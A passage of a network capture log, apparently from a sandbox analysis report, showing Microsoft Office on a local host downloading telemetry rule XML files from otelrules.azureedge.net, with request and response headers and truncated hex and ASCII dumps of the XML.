2024-11-16 19:13:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:09 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191309Z-16547b76f7ftnm6xhC1DFW9c8c00000002xg000000001fws x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:09 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:09 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191309Z-1866b5c5fbb2ngs6hC1DFW402w00000001fg000000007aec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:09 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:10 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:10 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:10 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: e1a3adfd-c01e-00a1-203d-387e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191310Z-164f84587bf6h2bxhC1DFWbcm800000003c000000000er83 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:13:10 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:10 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:10 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:10 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191310Z-16547b76f7fpdsp9hC1DFW8f5000000000wg000000002emx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:10 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:10 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:10 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191310Z-16547b76f7fd4rc5hC1DFWkzhw00000003cg00000000q9qg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:10 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:10 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:10 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:10 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191310Z-16547b76f7fljddfhC1DFWeqbs00000003yg00000000nhkx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:10 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:10 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:10 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:10 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bcf92b81-701e-000d-51b1-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191310Z-164f84587bft9l9khC1DFW32rc000000039g000000002u3h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:10 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:11 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:11 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ec7953e6-801e-00a3-60a6-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191311Z-164f84587bfghdt4hC1DFWu5nn00000002w000000000uav0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:11 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:11 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:11 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: acaa001d-f01e-0003-19b2-374453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191311Z-164f84587bffvwt9hC1DFW2ktw00000000xg00000000c9b7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:11 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:11 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 7f14e84b-501e-00a3-1aaf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191311Z-1866b5c5fbb7lvschC1DFW4rm00000000380000000008euw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:11 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:11 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:11 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:11 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 49ec1b40-d01e-00ad-43af-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191311Z-16547b76f7fl5zvnhC1DFWtk9g00000001kg00000000huax x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:11 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:11 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
